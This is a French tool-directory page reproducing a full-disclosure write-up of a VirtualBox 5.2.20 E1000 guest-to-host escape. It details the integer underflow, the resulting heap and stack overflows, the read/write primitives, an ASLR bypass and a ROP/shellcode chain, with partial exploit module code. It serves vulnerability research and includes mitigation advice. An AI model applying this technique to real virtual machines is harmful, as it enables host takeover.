Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
virtualbox_e1000_0day — VirtualBox E1000 Évasion invité-vers-hôte | Kitploit
Outils/GitHubGitHub/mortenoir1/virtualbox_e1000_0day
Analyse des VulnérabilitésExploitationTests d'IntrusionSécurité MatérielleExploitation de Binaires
GitHubmortenoir1/virtualbox_e1000_0day

virtualbox_e1000_0day

VirtualBox E1000 Évasion invité-vers-hôte

Voir le dépôt
1.4k1968il y a 7 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Pourquoi

J'aime VirtualBox et cela n'a rien à voir avec le fait que je publie une vulnérabilité 0day. La raison est mon désaccord avec l'état actuel de l'infosec, en particulier de la recherche en sécurité et du bug bounty :

  1. Attendre six mois qu'une vulnérabilité soit corrigée est considéré comme acceptable.
  2. Dans le domaine du bug bounty, ceci est considéré comme acceptable :
    1. Attendre plus d'un mois pour qu'une vulnérabilité soumise soit vérifiée et qu'une décision d'acheter ou non soit prise.
    2. Changer de décision au dernier moment. Aujourd'hui vous avez constaté que le programme de bug bounty achètera des bugs dans un logiciel, une semaine plus tard vous venez avec des bugs et des exploits et recevez « pas intéressé ».
    3. Ne pas avoir une liste précise des logiciels pour lesquels un bug bounty est intéressé à acheter des bugs. Pratique pour les bug bounties, gênant pour les chercheurs.
    4. Ne pas avoir de bornes inférieure et supérieure précises des prix des vulnérabilités. Il y a beaucoup de choses qui influencent un prix, mais les chercheurs ont besoin de savoir sur quoi il vaut la peine de travailler et sur quoi non.
  3. Mégalomanie et foutaise marketing : nommer les vulnérabilités et créer des sites web pour elles ; faire un millier de conférences en un an ; exagérer l'importance de son propre travail en tant que chercheur en sécurité ; se considérer comme « un sauveur du monde ». Redescendez, Votre Altesse.

J'en ai marre des deux premiers, donc mon geste est une divulgation complète. Infosec, avancez s'il vous plaît.

Informations générales

Logiciel vulnérable : VirtualBox 5.2.20 et versions antérieures.

OS hôte : n'importe lequel, le bug se trouve dans une base de code partagée.

OS invité : n'importe lequel.

Configuration de la VM : par défaut (la seule exigence est qu'une carte réseau soit une Intel PRO/1000 MT Desktop (82540EM) et que le mode soit NAT).

Comment vous protéger

Jusqu'à ce que la version corrigée de VirtualBox soit disponible, vous pouvez changer la carte réseau de vos machines virtuelles pour PCnet (l'une des deux) ou pour Paravirtualized Network. Si vous ne pouvez pas, changez le mode de NAT vers un autre. La première méthode est plus sûre.

Introduction

Un périphérique réseau virtuel par défaut de VirtualBox est l'Intel PRO/1000 MT Desktop (82540EM) et le mode réseau par défaut est NAT. Nous l'appellerons E1000.

L'E1000 présente une vulnérabilité permettant à un attaquant disposant de privilèges root/administrateur dans un invité de s'échapper vers un ring3 de l'hôte. L'attaquant peut ensuite utiliser des techniques existantes pour élever les privilèges jusqu'au ring 0 via /dev/vboxdrv.

Détails de la vulnérabilité

E1000 101

Pour envoyer des paquets réseau, un invité fait ce qu'un PC ordinaire fait : il configure une carte réseau et lui fournit des paquets réseau. Les paquets sont des trames de la couche de liaison de données et d'autres en-têtes de plus haut niveau. Les paquets fournis à l'adaptateur sont enveloppés dans des descripteurs Tx (Tx signifie transmission). Le descripteur Tx est une structure de données décrite dans la fiche technique 82540EM (317453006EN.PDF, Révision 4.0). Il stocke des métadonnées telles que la taille du paquet, la balise VLAN, les indicateurs de segmentation TCP/IP activés, etc.

La fiche technique 82540EM prévoit trois types de descripteurs Tx : legacy, context, data. Legacy est obsolète, je crois. Les deux autres sont utilisés ensemble. La seule chose qui nous importe est que les descripteurs context définissent la taille maximale du paquet et activent la segmentation TCP/IP, et que les descripteurs data contiennent les adresses physiques des paquets réseau et leurs tailles. La taille de paquet du descripteur data doit être inférieure à la taille maximale du paquet du descripteur context. En général, les descripteurs context sont fournis à la carte réseau avant les descripteurs data.

Pour fournir des descripteurs Tx à la carte réseau, un invité les écrit dans le Tx Ring. Il s'agit d'un tampon en anneau résidant en mémoire physique à une adresse prédéfinie. Lorsque tous les descripteurs sont écrits dans le Tx Ring, l'invité met à jour le registre MMIO TDT de l'E1000 (Transmit Descriptor Tail) pour indiquer à l'hôte qu'il y a de nouveaux descripteurs à traiter.

Entrée

Considérez le tableau suivant de descripteurs Tx :``` [context_1, data_2, data_3, context_4, data_5]

root@kitploit:~
Attribuons leurs champs de structure comme suit (les noms de champs sont hypothétiques pour être lisibles par un humain mais correspondent directement à la spécification 82540EM):```
context_1.header_length = 0
context_1.maximum_segment_size = 0x3010
context_1.tcp_segmentation_enabled = true

data_2.data_length = 0x10
data_2.end_of_packet = false
data_2.tcp_segmentation_enabled = true

data_3.data_length = 0
data_3.end_of_packet = true
data_3.tcp_segmentation_enabled = true

context_4.header_length = 0
context_4.maximum_segment_size = 0xF
context_4.tcp_segmentation_enabled = true

data_5.data_length = 0x4188
data_5.end_of_packet = true
data_5.tcp_segmentation_enabled = true

Nous apprendrons pourquoi ils doivent être ainsi lors de notre analyse pas à pas.

Analyse des causes racines

[context_1, data_2, data_3] Traitement

Supposons que les descripteurs ci-dessus soient écrits dans la Tx Ring dans l'ordre spécifié et que le registre TDT soit mis à jour par le guest. Le host exécutera alors la fonction e1kXmitPending dans le fichier src/VBox/Devices/Network/DevE1000.cpp (la plupart des commentaires sont et seront retirés pour des raisons de lisibilité) :```c static int e1kXmitPending(PE1KSTATE pThis, bool fOnWorkerThread) { ... while (!pThis->fLocked && e1kTxDLazyLoad(pThis)) { while (e1kLocateTxPacket(pThis)) { fIncomplete = false; rc = e1kXmitAllocBuf(pThis, pThis->fGSO); if (RT_FAILURE(rc)) goto out; rc = e1kXmitPacket(pThis, fOnWorkerThread); if (RT_FAILURE(rc)) goto out; }

root@kitploit:~
e1kTxDLazyLoad lira les 5 descripteurs Tx du Tx Ring. Ensuite, e1kLocateTxPacket est appelé pour la première fois. Cette fonction parcourt tous les descripteurs pour établir un état initial, mais ne les traite pas réellement. Dans notre cas, le premier appel à e1kLocateTxPacket traitera les descripteurs context_1, data_2 et data_3. Les deux descripteurs restants, context_4 et data_5, seront traités lors de la deuxième itération de la boucle while (nous aborderons la deuxième itération dans la section suivante). Cette division du tableau en deux parties est cruciale pour déclencher la vulnérabilité, donc voyons pourquoi.

e1kLocateTxPacket ressemble à ceci :```c
static bool e1kLocateTxPacket(PE1KSTATE pThis)
{
...
    for (int i = pThis->iTxDCurrent; i < pThis->nTxDFetched; ++i)
    {
        E1KTXDESC *pDesc = &pThis->aTxDescriptors[i];
        switch (e1kGetDescType(pDesc))
        {
            case E1K_DTYP_CONTEXT:
                e1kUpdateTxContext(pThis, pDesc);
                continue;
            case E1K_DTYP_LEGACY:
                ...
                break;
            case E1K_DTYP_DATA:
                if (!pDesc->data.u64BufAddr || !pDesc->data.cmd.u20DTALEN)
                    break;
                ...
                break;
            default:
                AssertMsgFailed(("Impossible descriptor type!"));
        }

Le premier descripteur (context_1) est de type E1K_DTYP_CONTEXT, donc la fonction e1kUpdateTxContext est appelée. Cette fonction met à jour un contexte de segmentation TCP si la segmentation TCP est activée pour le descripteur. C'est le cas pour context_1, donc le contexte de segmentation TCP sera mis à jour. (Ce qu'est réellement la mise à jour du contexte de segmentation TCP n'est pas important, et nous l'utiliserons simplement pour faire référence au code ci-dessous).

Le deuxième descripteur (data_2) est de type E1K_DTYP_DATA, donc plusieurs actions inutiles pour la discussion seront effectuées.

Le troisième descripteur (data_3) est également de type E1K_DTYP_DATA, mais comme data_3.data_length == 0, aucune action n'est effectuée.

Au moment où les trois descripteurs sont initialement traités et que les deux restent. Maintenant, le point important : après l'instruction switch, il y a une vérification pour savoir si le champ end_of_packet d'un descripteur a été défini. C'est le cas pour le descripteur data_3 (data_3.end_of_packet == true). Le code effectue quelques actions et retourne de la fonction :```c if (pDesc->legacy.cmd.fEOP) { ... return true; }

root@kitploit:~
Si data_3.end_of_packet avait été faux, alors les descripteurs restants context_4 et data_5 auraient été traités, et la vulnérabilité aurait été contournée. Vous verrez ci-dessous pourquoi ce retour de la fonction mène au bug.

À la fin de la fonction e1kLocateTxPacket, nous avons les descripteurs suivants prêts à désencapsuler les paquets réseau et à les envoyer sur un réseau : context_1, data_2, data_3. Ensuite, la boucle interne de e1kXmitPending appelle e1kXmitPacket. Cette fonction itère sur tous les descripteurs (5 dans notre cas) pour les traiter réellement :```c
static int e1kXmitPacket(PE1KSTATE pThis, bool fOnWorkerThread)
{
...
    while (pThis->iTxDCurrent < pThis->nTxDFetched)
    {
        E1KTXDESC *pDesc = &pThis->aTxDescriptors[pThis->iTxDCurrent];
        ...
        rc = e1kXmitDesc(pThis, pDesc, e1kDescAddr(TDBAH, TDBAL, TDH), fOnWorkerThread);
        ...
        if (e1kGetDescType(pDesc) != E1K_DTYP_CONTEXT && pDesc->legacy.cmd.fEOP)
            break;
    }

Pour chaque descripteur, la fonction e1kXmitDesc est appelée :```c static int e1kXmitDesc(PE1KSTATE pThis, E1KTXDESC *pDesc, RTGCPHYS addr, bool fOnWorkerThread) { ... switch (e1kGetDescType(pDesc)) { case E1K_DTYP_CONTEXT: ... break; case E1K_DTYP_DATA: { ... if (pDesc->data.cmd.u20DTALEN == 0 || pDesc->data.u64BufAddr == 0) { E1kLog2(("% Empty data descriptor, skipped.\n", pThis->szPrf)); } else { if (e1kXmitIsGsoBuf(pThis->CTX_SUFF(pTxSg))) { ... } else if (!pDesc->data.cmd.fTSE) { ... } else { STAM_COUNTER_INC(&pThis->StatTxPathFallback); rc = e1kFallbackAddToFrame(pThis, pDesc, fOnWorkerThread); } } ...

root@kitploit:~
Le premier descripteur passé à e1kXmitDesc est context\_1. La fonction ne fait rien avec les descripteurs de contexte.

Le deuxième descripteur passé à e1kXmitDesc est data\_2. Puisque tous nos descripteurs de données ont tcp\_segmentation\_enable == true (pDesc->data.cmd.fTSE ci-dessus), nous appelons e1kFallbackAddToFrame où il y aura un dépassement d’entier négatif lors du traitement de data\_5.```c
static int e1kFallbackAddToFrame(PE1KSTATE pThis, E1KTXDESC *pDesc, bool fOnWorkerThread)
{
    ...
    uint16_t u16MaxPktLen = pThis->contextTSE.dw3.u8HDRLEN + pThis->contextTSE.dw3.u16MSS;

    /*
     * Carve out segments.
     */
    int rc = VINF_SUCCESS;
    do
    {
        /* Calculate how many bytes we have left in this TCP segment */
        uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen;
        if (cb > pDesc->data.cmd.u20DTALEN)
        {
            /* This descriptor fits completely into current segment */
            cb = pDesc->data.cmd.u20DTALEN;
            rc = e1kFallbackAddSegment(pThis, pDesc->data.u64BufAddr, cb, pDesc->data.cmd.fEOP /*fSend*/, fOnWorkerThread);
        }
        else
        {
            ...
        }

        pDesc->data.u64BufAddr    += cb;
        pDesc->data.cmd.u20DTALEN -= cb;
    } while (pDesc->data.cmd.u20DTALEN > 0 && RT_SUCCESS(rc));

    if (pDesc->data.cmd.fEOP)
    {
        ...
        pThis->u16TxPktLen = 0;
        ...
    }

    return VINF_SUCCESS; /// @todo consider rc;
}

Les variables les plus importantes ici sont u16MaxPktLen, pThis->u16TxPktLen, et pDesc->data.cmd.u20DTALEN.

Dressons un tableau où les valeurs de ces variables sont spécifiées avant et après l'exécution de la fonction e1kFallbackAddToFrame pour les deux descripteurs de données.

Tx DescriptorAvant/Aprèsu16MaxPktLenpThis->u16TxPktLenpDesc->data.cmd.u20DTALEN
data_2Avant0x301000x10
-Après0x30100x100
data_3Avant0x30100x100
-Après0x30100x100

Vous devez simplement noter que lorsque data_3 est traité, pThis->u16TxPktLen est égal à 0x10.

Vient maintenant la partie la plus importante. Veuillez regarder à nouveau la fin de l'extrait de e1kXmitPacket :```c if (e1kGetDescType(pDesc) != E1K_DTYP_CONTEXT && pDesc->legacy.cmd.fEOP) break;

root@kitploit:~
Étant donné que le type de data_3 != E1K_DTYP_CONTEXT et que data_3.end_of_packet == true, nous sortons de la boucle malgré le fait que context_4 et data_5 doivent encore être traités. Pourquoi est-ce important ? La clé pour comprendre la vulnérabilité est de comprendre que tous les descripteurs de contexte sont traités avant les descripteurs de données. Les descripteurs de contexte sont traités lors de la mise à jour du contexte de segmentation TCP dans e1kLocateTxPacket. Les descripteurs de données sont traités plus tard dans la boucle à l'intérieur de la fonction e1kXmitPacket. L'intention du développeur était d'interdire la modification de u16MaxPktLen après qu'une partie des données a été traitée afin d'éviter les sous-dépassements d'entiers dans le code :```c
uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen;

Mais nous pouvons contourner cette protection : rappelons que dans e1kLocateTxPacket, nous avons forcé la fonction à retourner à cause de data_3.end_of_packet == true. Et pour cette raison, nous avons deux descripteurs (context_4 et data_5) qui restent à traiter malgré le fait que pThis->u16TxPktLen est 0x10, et non 0. Il est donc possible de modifier u16MaxPktLen à l'aide de context_4.maximum_segment_size pour provoquer le sous-dépassement d'entier.

[context_4, data_5] Traitement

Maintenant, une fois les trois premiers descripteurs traités, nous arrivons de nouveau à la boucle interne de e1kXmitPending :```c while (e1kLocateTxPacket(pThis)) { fIncomplete = false; rc = e1kXmitAllocBuf(pThis, pThis->fGSO); if (RT_FAILURE(rc)) goto out; rc = e1kXmitPacket(pThis, fOnWorkerThread); if (RT_FAILURE(rc)) goto out; }

root@kitploit:~
Ici, nous appelons e1kLocateTxPacket pour faire le traitement initial des descripteurs context_4 et data_5. Il a été dit que nous pouvons définir context_4.maximum_segment_size à une taille inférieure à celle des données déjà lues, c'est-à-dire inférieure à 0x10. Rappelons nos descripteurs Tx d'entrée :```
context_4.header_length = 0
context_4.maximum_segment_size = 0xF
context_4.tcp_segmentation_enabled = true

data_5.data_length = 0x4188
data_5.end_of_packet = true
data_5.tcp_segmentation_enabled = true

À la suite de l'appel à e1kLocateTxPacket, nous avons une taille maximale de segment égale à 0xF, alors que la taille des données déjà lues est de 0x10.

Enfin, lors du traitement de data_5, nous arrivons à nouveau à e1kFallbackAddToFrame et avons les valeurs de variables suivantes :

Tx DescriptorAvant/Aprèsu16MaxPktLenpThis->u16TxPktLenpDesc->data.cmd.u20DTALEN
data_5Avant0xF0x100x4188
-Après---

Et nous avons donc un sous-dépassement d'entier :```c uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen; => uint32_t cb = 0xF - 0x10 = 0xFFFFFFFF;

root@kitploit:~
Cela rend la vérification suivante vraie puisque 0xFFFFFFFF > 0x4188 :```c
        if (cb > pDesc->data.cmd.u20DTALEN)
        {
            cb = pDesc->data.cmd.u20DTALEN;
            rc = e1kFallbackAddSegment(pThis, pDesc->data.u64BufAddr, cb, pDesc->data.cmd.fEOP /*fSend*/, fOnWorkerThread);
        }

La fonction e1kFallbackAddSegment sera appelée avec une taille de 0x4188. Sans la vulnérabilité, il est impossible d'appeler e1kFallbackAddSegment avec une taille supérieure à 0x3FA0 (E1K_MAX_TX_PKT_SIZE == 0x3FA0) car, lors de la mise à jour du contexte de segmentation TCP dans e1kUpdateTxContext, une vérification garantit que la taille maximale de segment est inférieure ou égale à 0x3FA0 :```c DECLINLINE(void) e1kUpdateTxContext(PE1KSTATE pThis, E1KTXDESC *pDesc) { ... uint32_t cbMaxSegmentSize = pThis->contextTSE.dw3.u16MSS + pThis->contextTSE.dw3.u8HDRLEN + 4; /VTAG/ if (RT_UNLIKELY(cbMaxSegmentSize > E1K_MAX_TX_PKT_SIZE)) { pThis->contextTSE.dw3.u16MSS = E1K_MAX_TX_PKT_SIZE - pThis->contextTSE.dw3.u8HDRLEN - 4; /VTAG/ ... }

root@kitploit:~
### Débordement de tampon
Nous avons appelé e1kFallbackAddSegment avec une taille de 0x4188. Comment cela peut-il être exploité ? J'ai trouvé au moins deux possibilités. Premièrement, les données seront lues depuis l'invité vers un tampon alloué sur le tas :```c
static int e1kFallbackAddSegment(PE1KSTATE pThis, RTGCPHYS PhysAddr, uint16_t u16Len, bool fSend, bool fOnWorkerThread)
{
    ...
    PDMDevHlpPhysRead(pThis->CTX_SUFF(pDevIns), PhysAddr,
                      pThis->aTxPacketFallback + pThis->u16TxPktLen, u16Len);

Ici, pThis->aTxPacketFallback est le tampon de taille 0x3FA0 et u16Len vaut 0x4188 — un débordement évident qui peut conduire, par exemple, à l'écrasement de pointeurs de fonction.

Ensuite, si l'on creuse davantage, on constate que e1kFallbackAddSegment appelle e1kTransmitFrame qui, avec une certaine configuration des registres E1000, peut appeler la fonction e1kHandleRxPacket. Cette fonction alloue un tampon sur la pile de taille 0x4000, puis copie des données d'une longueur spécifiée (0x4188 dans notre cas) dans le tampon sans aucune vérification :```c static int e1kHandleRxPacket(PE1KSTATE pThis, const void *pvBuf, size_t cb, E1KRXDST status) { #if defined(IN_RING3) uint8_t rxPacket[E1K_MAX_RX_PKT_SIZE]; ... if (status.fVP) { ... } else memcpy(rxPacket, pvBuf, cb);

root@kitploit:~
Comme vous le voyez, nous avons transformé un sous-dépassement d'entier en un débordement de tampon de pile classique. Les deux débordements ci-dessus — celui du tas et celui de la pile — sont utilisés dans l'exploit.

## Exploit
L'exploit est un module de noyau Linux (LKM) à charger dans un système d'exploitation invité. Le cas Windows nécessiterait un pilote qui ne diffère du LKM que par un wrapper d'initialisation et des appels d'API du noyau.

Des privilèges élevés sont requis pour charger un pilote dans les deux systèmes d'exploitation. C'est courant et n'est pas considéré comme un obstacle insurmontable. Regardez le concours Pwn2Own où les chercheurs utilisent des chaînes d'exploitation : un navigateur qui a ouvert un site web malveillant dans le système d'exploitation invité est exploité, une évasion du sandbox du navigateur est réalisée pour obtenir un accès complet à l'anneau 3, une vulnérabilité du système d'exploitation est exploitée pour ouvrir un chemin vers le ring 0, d'où l'on dispose de tout ce qu'il faut pour attaquer un hyperviseur depuis le système d'exploitation invité.
Les vulnérabilités d'hyperviseur les plus puissantes sont à coup sûr celles qui peuvent être exploitées depuis le ring 3 de l'invité. Dans VirtualBox, il existe aussi un tel code accessible sans privilèges root de l'invité, et il n'est pour l'essentiel pas encore audité.

L'exploit est fiable à 100 %. Cela signifie qu'il fonctionne soit toujours, soit jamais, en raison de binaires incompatibles ou d'autres raisons plus subtiles que je n'ai pas prises en compte. Il fonctionne au moins sur les invités Ubuntu 16.04 et 18.04 x86_64 avec une configuration par défaut.

### Algorithme d'exploitation
1) Un attaquant décharge e1000.ko, chargé par défaut dans les invités Linux, et charge le LKM de l'exploit.
2) Le LKM initialise l'E1000 conformément à la fiche technique. Seule la partie émission est initialisée, car il n'y a pas besoin de la partie réception.
3) Étape 1 : fuite d'informations.
    1) Le LKM désactive le mode loopback de l'E1000 pour rendre le code du débordement de tampon de pile inaccessible.
    2) Le LKM utilise la vulnérabilité de sous-dépassement d'entier pour provoquer le débordement du tampon du tas.
    3) Le débordement du tampon du tas permet d'utiliser l'EEPROM de l'E1000 pour écrire deux octets quelconques par rapport à un tampon du tas dans une plage de 128 KB. L'attaquant obtient ainsi une primitive d'écriture.
    4) Le LKM utilise la primitive d'écriture 8 fois pour écrire des octets dans la structure de données ACPI (interface avancée de configuration et d'alimentation) sur le tas. Les octets sont écrits dans une variable d'index d'un tampon du tas à partir de laquelle un seul octet sera lu. Comme la taille du tampon est inférieure au numéro d'index maximal (255), l'attaquant peut lire au-delà du tampon, obtenant ainsi une primitive de lecture.
    5) Le LKM utilise la primitive de lecture 8 fois pour accéder à l'ACPI et obtenir 8 octets depuis le tas. Ces octets sont un pointeur de la bibliothèque partagée VBoxDD.so.
    6) Le LKM soustrait la RVA du pointeur pour obtenir la base d'image de VBoxDD.so.
4) Étape 2 : débordement du tampon de pile.
    1) Le LKM active le mode loopback de l'E1000 pour rendre le code du débordement de tampon de pile accessible.
    2) Le LKM utilise la vulnérabilité de sous-dépassement d'entier pour provoquer le débordement du tampon du tas et le débordement du tampon de pile. L'adresse de retour sauvegardée (RIP/EIP) est écrasée. L'attaquant prend le contrôle.
    3) Une chaîne ROP est exécutée pour exécuter un chargeur de shellcode.
5) Étape 3 : shellcode.
    1) Le chargeur de shellcode copie un shellcode depuis la pile, à côté de lui-même. Le shellcode est exécuté.
    2) Le shellcode effectue des appels système fork et execve pour lancer un processus arbitraire côté hôte.
    3) Le processus parent assure la poursuite du processus.
6) L'attaquant décharge le LKM et recharge e1000.ko pour permettre à l'invité d'utiliser le réseau.

### Initialisation
Le LKM mappe la mémoire physique correspondant au MMIO de l'E1000. L'adresse physique et la taille sont prédéfinies par l'hyperviseur.```c
void* map_mmio(void) {
    off_t pa = 0xF0000000;
    size_t len = 0x20000;

    void* va = ioremap(pa, len);
    if (!va) {
        printk(KERN_INFO PFX"ioremap failed to map MMIO\n");
        return NULL;
    }

    return va;
}

Ensuite, les registres à usage général E1000 sont configurés, la mémoire Tx Ring est allouée, les registres de transmission sont configurés.```c void e1000_init(void* mmio) { // Configure general purpose registers

root@kitploit:~
configure_CTRL(mmio);

// Configure TX registers

g_tx_ring = kmalloc(MAX_TX_RING_SIZE, GFP_KERNEL);
if (!g_tx_ring) {
    printk(KERN_INFO PFX"Failed to allocate TX Ring\n");
    return;
}

configure_TDBAL(mmio);
configure_TDBAH(mmio);
configure_TDLEN(mmio);
configure_TCTL(mmio);

}

root@kitploit:~
### Contournement d'ASLR
#### Primitive d'écriture
Dès le début du développement de l'exploit, j'ai décidé de ne pas utiliser les primitives trouvées dans des services désactivés par défaut. Cela signifie en premier lieu le service Chromium (pas un navigateur) qui fournit l'accélération 3D, où plus de 40 vulnérabilités ont été trouvées par les chercheurs l'année dernière.

Le problème était de trouver une fuite d'informations dans les sous-systèmes VirtualBox par défaut. La pensée évidente était que si l'underflow d'entier permet de déborder le tampon du tas, alors nous contrôlons tout ce qui se trouve après le tampon. Nous verrons qu'aucune vulnérabilité supplémentaire n'a été requise : l'underflow d'entier s'est avéré assez puissant pour en dériver des primitives de lecture, d'écriture et de fuite d'informations, sans parler du débordement de tampon de pile.

Examinons ce qui est exactement débordé sur le tas.```c
/**
 * Device state structure.
 */
struct E1kState_st
{
...
    uint8_t     aTxPacketFallback[E1K_MAX_TX_PKT_SIZE];
...
    E1kEEPROM   eeprom;
...
}

Ici, aTxPacketFallback est un tampon de taille 0x3FA0 qui sera débordé par des octets copiés depuis un descripteur de données. En recherchant des champs intéressants après le tampon, je suis tombé sur la structure E1kEEPROM qui contient une autre structure avec les champs suivants (src/VBox/Devices/Network/DevE1000.cpp) :```c /**

  • 93C46-compatible EEPROM device emulation. */ struct EEPROM93C46 { ... bool m_fWriteEnabled; uint8_t Alignment1; uint16_t m_u16Word; uint16_t m_u16Mask; uint16_t m_u16Addr; uint32_t m_u32InternalWires; ... }
root@kitploit:~
Comment pouvons-nous les abuser ? E1000 implémente l'EEPROM, la mémoire secondaire de l'adaptateur. L'OS invité peut y accéder via les registres MMIO d'E1000. L'EEPROM est implémentée comme un automate fini avec plusieurs états et effectue quatre actions. Nous ne nous intéressons qu'à « l'écriture en mémoire ». Voici à quoi cela ressemble (src/VBox/Devices/Network/DevEEPROM.cpp) :```c
EEPROM93C46::State EEPROM93C46::opWrite()
{
    storeWord(m_u16Addr, m_u16Word);
    return WAITING_CS_FALL;
}

void EEPROM93C46::storeWord(uint32_t u32Addr, uint16_t u16Value)
{
    if (m_fWriteEnabled) {
        E1kLog(("EEPROM: Stored word %04x at %08x\n", u16Value, u32Addr));
        m_au16Data[u32Addr] = u16Value;
    }
    m_u16Mask = DATA_MSB;
}

Ici m_u16Addr, m_u16Word et m_fWriteEnabled sont des champs de la structure EEPROM93C46 que nous contrôlons. Nous pouvons les malformer de manière à ce que```c m_au16Data[u32Addr] = u16Value;

root@kitploit:~
cette instruction écrira deux octets à un décalage arbitraire de 16 bits à partir de m_au16Data, qui réside également dans la structure. Nous avons trouvé une primitive d'écriture.

#### Primitive de lecture
Le problème suivant était de trouver des structures de données sur le tas dans lesquelles écrire des données arbitraires, dans le but principal de fuiter un pointeur de bibliothèque partagée pour obtenir sa base d'image. Heureusement, il n'a pas été nécessaire de faire un heap spray instable car les principales structures de données des périphériques virtuels semblaient être allouées depuis un tas interne de l'hyperviseur, de telle sorte que la distance entre elles est toujours constante, même si leurs adresses virtuelles sont bien sûr randomisées par l'ASLR.

Lorsqu'une machine virtuelle est lancée, le sous-système PDM (Pluggable Device and Driver Manager) alloue des objets PDMDEVINS dans le tas de l'hyperviseur.```c
int pdmR3DevInit(PVM pVM)
{
...
        PPDMDEVINS pDevIns;
        if (paDevs[i].pDev->pReg->fFlags & (PDM_DEVREG_FLAGS_RC | PDM_DEVREG_FLAGS_R0))
            rc = MMR3HyperAllocOnceNoRel(pVM, cb, 0, MM_TAG_PDM_DEVICE, (void **)&pDevIns);
        else
            rc = MMR3HeapAllocZEx(pVM, MM_TAG_PDM_DEVICE, cb, (void **)&pDevIns);
...

J'ai tracé ce code sous GDB à l'aide d'un script et j'ai obtenu ces résultats :``` [trace-device-constructors] Constructing a device #0x0: [trace-device-constructors] Name: "pcarch", '\000' <repeats 25 times> [trace-device-constructors] Description: 0x7fc44d6f125a "PC Architecture Device" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d57517b <pcarchConstruct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc45486c1b0 [trace-device-constructors] Data size: 0x8

[trace-device-constructors] Constructing a device #0x1: [trace-device-constructors] Name: "pcbios", '\000' <repeats 25 times> [trace-device-constructors] Description: 0x7fc44d6ef37b "PC BIOS Device" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d56bd3b <pcbiosConstruct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc45486c720 [trace-device-constructors] Data size: 0x11e8

...

[trace-device-constructors] Constructing a device #0xe: [trace-device-constructors] Name: "e1000", '\000' <repeats 26 times> [trace-device-constructors] Description: 0x7fc44d70c6d0 "Intel PRO/1000 MT Desktop Ethernet.\n" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d622969 <e1kR3Construct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc470083400 [trace-device-constructors] Data size: 0x53a0

[trace-device-constructors] Constructing a device #0xf: [trace-device-constructors] Name: "ichac97", '\000' <repeats 24 times> [trace-device-constructors] Description: 0x7fc44d716ac0 "ICH AC'97 Audio Controller" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d66a90f <ichac97R3Construct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc470088b00 [trace-device-constructors] Data size: 0x1848

[trace-device-constructors] Constructing a device #0x10: [trace-device-constructors] Name: "usb-ohci", '\000' <repeats 23 times> [trace-device-constructors] Description: 0x7fc44d707025 "OHCI USB controller.\n" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d5ea841 <ohciR3Construct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc47008a4e0 [trace-device-constructors] Data size: 0x1728

[trace-device-constructors] Constructing a device #0x11: [trace-device-constructors] Name: "acpi", '\000' <repeats 27 times> [trace-device-constructors] Description: 0x7fc44d6eced8 "Advanced Configuration and Power Interface" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d563431 <acpiR3Construct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc47008be70 [trace-device-constructors] Data size: 0x1570

[trace-device-constructors] Constructing a device #0x12: [trace-device-constructors] Name: "GIMDev", '\000' <repeats 25 times> [trace-device-constructors] Description: 0x7fc44d6f17fa "VirtualBox GIM Device" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d575cde <gimdevR3Construct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc47008dba0 [trace-device-constructors] Data size: 0x90

[trace-device-constructors] Instances: [trace-device-constructors] #0x0 Address: 0x7fc45486c1b0 [trace-device-constructors] #0x1 Address 0x7fc45486c720 differs from previous by 0x570 [trace-device-constructors] #0x2 Address 0x7fc4700685f0 differs from previous by 0x1b7fbed0 [trace-device-constructors] #0x3 Address 0x7fc4700696d0 differs from previous by 0x10e0 [trace-device-constructors] #0x4 Address 0x7fc47006a0d0 differs from previous by 0xa00 [trace-device-constructors] #0x5 Address 0x7fc47006a450 differs from previous by 0x380 [trace-device-constructors] #0x6 Address 0x7fc47006a920 differs from previous by 0x4d0 [trace-device-constructors] #0x7 Address 0x7fc47006ad50 differs from previous by 0x430 [trace-device-constructors] #0x8 Address 0x7fc47006b240 differs from previous by 0x4f0 [trace-device-constructors] #0x9 Address 0x7fc4548ec9a0 differs from previous by 0x-1b77e8a0 [trace-device-constructors] #0xa Address 0x7fc470075f90 differs from previous by 0x1b7895f0 [trace-device-constructors] #0xb Address 0x7fc488022000 differs from previous by 0x17fac070 [trace-device-constructors] #0xc Address 0x7fc47007cf80 differs from previous by 0x-17fa5080 [trace-device-constructors] #0xd Address 0x7fc4700820f0 differs from previous by 0x5170 [trace-device-constructors] #0xe Address 0x7fc470083400 differs from previous by 0x1310 [trace-device-constructors] #0xf Address 0x7fc470088b00 differs from previous by 0x5700 [trace-device-constructors] #0x10 Address 0x7fc47008a4e0 differs from previous by 0x19e0 [trace-device-constructors] #0x11 Address 0x7fc47008be70 differs from previous by 0x1990 